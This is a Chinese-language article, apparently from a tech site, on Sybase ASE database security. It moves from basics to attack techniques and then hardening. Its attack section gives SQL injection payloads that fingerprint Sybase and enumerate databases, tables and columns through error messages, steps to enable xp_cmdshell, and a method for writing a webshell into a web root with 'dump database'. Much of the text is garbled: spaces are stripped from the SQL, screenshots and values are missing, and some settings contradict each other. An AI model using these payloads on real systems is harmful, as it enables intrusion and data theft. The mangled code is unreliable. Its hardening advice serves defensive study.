dbartisan mysql_Sybase数据库安全
0x00 Sybase数据库介绍
简介
Sybase的全称又叫: SAP Sybase Adaptive Server Enterprise (简称ASE或Sybase ASE),继承于MSSQL的原始代码,和MSSQL血缘很近。Sybase是一种关系型数据库系统,是一种典型的UNIX或WindowsNT平台上客户机/服务器环境下的大型数据库系统。它以PowerBuilder为开发工具,以 SAP Sybase SQL Anywhere 为客户端。目前新版是ASE 15.7.x,命名从12.5.5直接到15.0.0(跳过中间的13、14),本次测试的是12.5.2,其中12.5是12大版本中最稳定的版本。
创建数据库的时候要注意存放设备:
服务及端口
开放端口:
备份服务:5001、监控服务:5002、数据库主服务:5000、存储过程服务:5004
默认数据库
Master :系统的核心数据库,控制服务器的操作以及存储有关所有用户数据库和相关的存储设备的信息,包括用户的用户名和密码;
Model :模板数据库,当创建用户数据库时,系统根据model数据库制作副本,并将数据库的大小扩展到用户指定的大小。
Systemprocs :保存系统的存储过程。
Sybsystemdb :关于分布式事务管理功能。
Tempdb :包含临时表,放置临时数据。
注册用户和数据库用户
当SQL SERVER创建注册用户后,该用户就能合法进SQL SERVER,该注册用户信息会放在master数据库中的 syslogins表中。但只有注册用户成为某一数据库用户,并且对该用户赋予某些权限时,该注册用户才能在限制条件下使用数据库中的表。
创建注册用户:
sp_addlogin loginame, passwd (删除即为drop)
创建数据库用户:
[dbname..] sp_adduser loginame (此处的loginame 必须是注册用户,否则报错)
分配权限:
grantall|select,insert,delete,update
ontable_name | view_name | stored_procedure_name
tousername
或
grantall|createdatabase,create
default,createprocedure,createrule,createtable,createview,setproxy,setsessionauthorization
tousername
数据库用户分类
sa用户、数据库属主、数据库对象属主和数据库普通用户
1)、sa用户:为系统用户,拥有全部的权限。
2)、数据库属主用户:数据库属主(dbo)用户可对本数据库中所有对象(如表、视图、存储过程等)进行操作。
3)、数据库对象属主:在实际管理中, ,一般为数据库属主。
4)、数据库普通用户:类似于public,数据库普通用户必须在数据库属主对本数据库中某些对象(如表、视图、进程等)赋予某些权限时,才可对本数据库中某些对象进行允许的操作。
别名(aliases)与组(group)
1)、别名:所谓别名(aliases)即将SQL SERVER中的注册用户以同一个数据库用户的身份来访问数据库,并具有与该用户相同的权限。
2)、组(group)为数据库用户的集合,即通过对组(group)的权限的控制达到对该组中数据库用户的控制,但也可对该组中数据库某些用户进行格外的权限控制。
角色
一般在管理分工较细的数据库系统中,sa用户往往被分为三种角色:系统管理员角色(SA role)、系统安全员角色(SSO role)、操作员角色(OPER role)。
连接及管理工具
1)、isql
类似于mysql数据库的的mysql.exe。可连接本地及网络数据库。 使用isql –U sa –P “”连接:
所有参数要区分大小写:
-?显示 isql 开关的语法摘要。
-L列出在本地配置的服务器和在网络上广播的服务器的名称。
-U login_id用户登录 ID。登录 ID 区分大小写。
-P password 是用户指定的密码。如果未使用-P 选项,isql 将提示输入密码。如果在命令提示的末尾使用 -P 选项而不带密码,isql 使用默认密码NULL)。密码区分大小写。
-S server_name 指定要连接到的 SQL Server 默认实例。如果未指定服务器,isql 将连接 到本地计算机上的 SQL Server 默认实例。如果要在网络上从远程计算机执行 isql,则需要此选项。
-H hostname 是使用的客户端的主机名称。
-d use database name,用于指定使用数据库名
2)、官方Sybase SQL Advantage
缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。
b、只支持SQL语句,个人觉得就是isql的图形化版,有所不便。
(Sql.ini设定及功能:http://blog.csdn.net/potato015/article/details/2450989 )
3)、官方Sybase Central
缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。
b、功能不是很强大
4)、DBArtisan
0x01 Sybase安全
执行系统命令
默认xp_cmdshell是不开启的。未开启xp_cmdshell时:
开启xp_cmdshell : sp_configure 'xp_cmdshell context',0
开启xp_cmdshell后执行命令:
权限不够时执行xp_cmdshell:
细节:
1、执行 sp_configure 'xp_cmdshell',0 允许所有含sa_role角色的login用户执行xp_cmdshell命令,此功能默认关闭
2、默认 sp_configure 'xp_cmdshell',1 经测试需要在windows下具有相同longin用户名称和密码,并且该用户隶属administrators权限组,还有一点不能忽略:取消选择“用户下次登录时需更改密码”!
3、MSSQL由于和windows集成,可以直接使用系统账户登录到数据库。而Sybase则需要按照上面第二步做配置才能达到和MSSQL类似的效果。
注释符与联合查询
支持union,可以用/ /、--来注释,可以用/ /来替换空格,也可以用+代替空格,也支持count( ),不过通配符 不能出现在子查询中。
12.5.2及以前的版本不支持TOP关键字,形如select top N from注入语句将报错
当然,不能用top,肯定会有替代方案,那就是set rowcount N
但是set rowcount N貌似不支持子查询和条件句:
多句执行
与mssql不同的地方是:多条语句直接以空格分隔,而不是分号。
对编码的支持
与MSSQL相同:
SQL注入特性
以Php为脚本:
以Java为脚本:
判断是否是Sybase数据库:
id=1andexists(select*frommaster.dbo.ijdbc_function_escapes)
以报错方式注入时要注意,sybase是不支持不同类型数据直接相比较的(与MSSQL不同):
id=1and1=user
id=1 and1=convert(integer,user)
![enter image description here][28]
id=1 and1=convert(integer,(select+@@version))
![enter image description here][29]
id=-1 unionselect1,"",(select@@version)
列库(复杂版本):
id=1and1=convert(integer,(SELECTMIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))FROM(SELECTnameFROMmaster..sysdatabases)ASgJyQWHERECONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’))
列出***个库master
id=1and1=convert(integer,(SELECTMIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))FROM(SELECTnameFROMmaster..sysdatabases)ASgJyQWHERECONVERT(NVARCHAR(4000),gJyQ.name)>’master‘))
列出除master外的***个库
列库(简单版本):
id=1and1=convert(integer,(SELECTnameFROMmaster..sysdatabaseswheredbid=1)) 不断递增dbid的值
dbid是连续的数字,猜解起来很容易
PS:虽然Sybase不能用TOP、for xml path,但是支持having、where not in等语法,变化方式依然有多种
与MSSQL不同的一点:
MSSQL是xtype Sybase是type
列表(只能用复杂版):
id=1and1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))from(selectnamefromtest.dbo.sysobjectswheretype=‘U’)ASaaaawhereCONVERT(NVARCHAR(4000),aaaa.name)>‘ ’))
列出***个表cmd
id=1and1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))from(selectnamefromtest.dbo.sysobjectswheretype=‘U’)ASaaaawhereCONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’))
列出除cmd外的***个表cmd0
列字段:
selectnamefromtest..syscolumnswhereid=object_id(‘users’)andcolid=1 递增colid
即:
id=1and1=convert(integer,(selectnamefromtest..syscolumnswhereid=object_id('users')andcolid=1))
工具注入:
穿山甲猜不出库名,抓包发现使用了TOP关键字,看来穿山甲只支持12.5.3以后的sybase
备份写文件(webshell)
前提条件:
1、备份服务打开
2、备份服务允许远程访问
3、有数据库权限(宿主权限)+磁盘写权限
步骤:
、create table cmd(a image)—
、insert into cmd(a) values ('')—
、dump database test to ‘C:\wamp\www\1.php’ 【全备份】
(对应MSSQL为:backup database 库名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)
dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG备份】
(对应MSSQL为:backup log 库名 to disk='d:\www\xxx\test.asp'--)
注:使用dump TRANSACTION时要求数据文件和日志文件不能存放在同一设备中。
、drop table cmd--
加固与防范
口令
sp_password “原密码”, “新密码”,用户名
例如将sa用户的密码由空改为123456: sp_password NULL,”123456”,sa
sp_configure “minimumpasswordlength”,8---密码最短长度
sp_configure “checkpasswordfordigit”,1---至少包含一个数字
sp_configure “systemwide passwordexpiration”,90---口令有效时长
sp_configure “maximum failed logins”,5 ---设置口令错误锁定阀值
删除扩展存储过程xp_cmdshell, 并删 除 sybsyesp.dll
execsp_dropextendedproc xp_cmdshell
关闭sa账户的使用:
sp_locklogin sa,"lock“
关闭远程访问:
exec sp_configure “allow remote access” ,0
execsp_configure “allow remote access” ,0
关闭后,很多服务将无法使用,比如备份
登陆IP白名单
系统没有和登陆相关的限制设置,只能通过创建登录触发器来实现登陆IP白名单
createprocedurelogin_trg
as
declare@ipvarchar(18),@login_namevarchar(20)
begin
select
@ip=t.ipaddr,@login_name=suser_name()
frommaster.dbo.sysprocesses twheret.spid=@@spid
if @ip<>'192.168.0.102'
begin
raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name
selectsyb_quit()
end
else
print 'Welcome!'
end
创建登录触发器后,执行如下命令:
isql>grantexecuteonlogin_trgtologinname
isql>sp_modifylogin loginname, "login script",login_trg
日志
isql>execsp_configure"log audit logon failure",1--记录登录失败信息
isql>execsp_configure"log audit logon success",1--记录登录成功信息
【编辑推荐】
【责任编辑:honglu TEL:(010)68476606】
点赞 0
dbartisan mysql_Sybase数据库安全相关推荐
- DTCC:数据库安全重点在数据拷贝过程中
本文讲的是DTCC:数据库安全重点在数据拷贝过程中,2017年5月11日-13日,2017中国数据库技术大会于北京国际会议中心盛大开幕.作为国内最受关注的数据库技术大会,本届大会以"数据驱动 ...
- oracle 修改用户密码_干货!数据库安全之Oracle数据库安全加固
前言 最近打算整理一下资料,写几篇关于数据库安全的文章.特此记录,方便查阅. 操作流程 帐号权限加固 1.限制应用用户在数据库中的权限,尽量保证最小化避免授予了 DBA 权限 1.查看权限 SQL&g ...
- mysql实例和数据的安全_数据库安全--案例篇
目的 由于<数据库安全浅析>一文中,主要介绍了数据库安全方面的一些基本安全策略,缺少了必要的案例分析和处理过程.为了进一步丰富数据库安全的内容,特撰文案例篇,主要介绍数据库安全上遇到的案例 ...
- mysql安全配置基线_MySql数据库安全配置基线.doc
MySql数据库安全配置基线 Mysql数据库系统安全配置基线 版本版本控制信息更新日期更新人审批人V2.0创建2012年4月备注: 若此文档需要日后更新,请创建人填写版本控制表格,否则删除版本控制表 ...
- mysql数据库安全配置文件_MySQL数据库安全配置
MySQL数据库安全配置 1.前言 MySQL 是完全网络化的跨平台关系型数据库系统,同时是具有客户机/服务器体系结构的分布式数据库管理系统.它具有功能强.使用简便.管理方便.运行速度快.安全可靠性强 ...
- 推荐优秀的SQL脚本调试工具Embarcadero DBArtisan 可以调试SQL Server 2000/2005 SQL调试工具汇总...
调试SQL语句是经常会碰到的需求,常常为了查找报表的数据是否正确,SQL脚本为什么取不到预想中的数据,一般都可以通过调试SQL语句来解决问题,找到原因.问题不一定是系统的Bug,可能是设置不正确,可能 ...
- Forrester:建立企业数据库安全计划
2010年7月29日,Forrester发布了一份<建立企业数据库安全计划>的报告.摘要如下: Hackers continue to break into critical databa ...
- 数据库安全:不只是DAM
这篇文章来自NetworkWorld,2011年10月25日发表.文章说,根据ESG的研究报告,15%的企业将数据库安全认作是最重要的信息安全挑战,此外还有57%的企业认为数据库安全是他们前五位信息安 ...
- MySQL数据库安全配置
文章来源:http://www.xfocus.net MySQL数据库安全配置 1.前言 MySQL 是完全网络化的跨平台关系型数据库系统,同时是具有客户机/服务器体系结构的分布式数据库管理系统.它具 ...
最新文章
- R绘图 vs Python绘图(散点图、折线图、直方图、条形图、箱线图、饼图、热力图、蜘蛛图)
- 关于施加在 div 标签上的 ngTemplateOutlet 指令让 div class 丢失的问题调试
- 回信,我的好朋友王一涵
- 云原生之容器安全实践
- 使用lucene实现简单的全文检索
- spring cloud gateway 网关_33、Spring Cloud网关Gateway
- 初学编程:算法编程是什么意思?盘点最常用的 5 大算法!
- 汽车电子技术——软件、硬件、系统集成和项目管理之学习与分享概述
- 2022-08-22 步进电机驱动程序
- sqlyog连接mysql错误码2058 正确处理方式
- 一对一直播源码开发,一对一视频直播解决方案新思路
- UltraScale时钟资源和时钟管理模块
- 360网站卫士推出免费风云加速
- stm32 rgb多彩led驱动
- 利用计算机得到阻尼振动曲线的包络线公式,波尔共振实验阻尼系数的计算机拟合...
- 【Python】matplotlib.pyplot显示图片
- 1064 例题5-1-5 连续自然数求和
- javaWeb课程体系介绍
- 数字电子技术基础——第一章 绪论(笔记)
- 高频交易算法研发心得--WAVT指标(Warensoft交易量趋势指标)算法及应用
热门文章
- python+opencv获取最小外接矩形
- 一起学nRF51xx 0 - 环境搭建
- Ubuntu vi 上下左右变ABCD问题解决方法
- OPNET仿真zigbee
- 华为鸿蒙系统内部消息,华为鸿蒙系统内部曝光,并且将于年底发布?网友:还能再假点?...
- stm32 独立看门狗和窗口看门狗区别
- 10 在Spring Cloud中使用Hystrix
- spring配置文件中非bean标签的原理解析
- Eclipse 增加打开文件路径功能
- [Android官方API阅读]___Application Fundamentals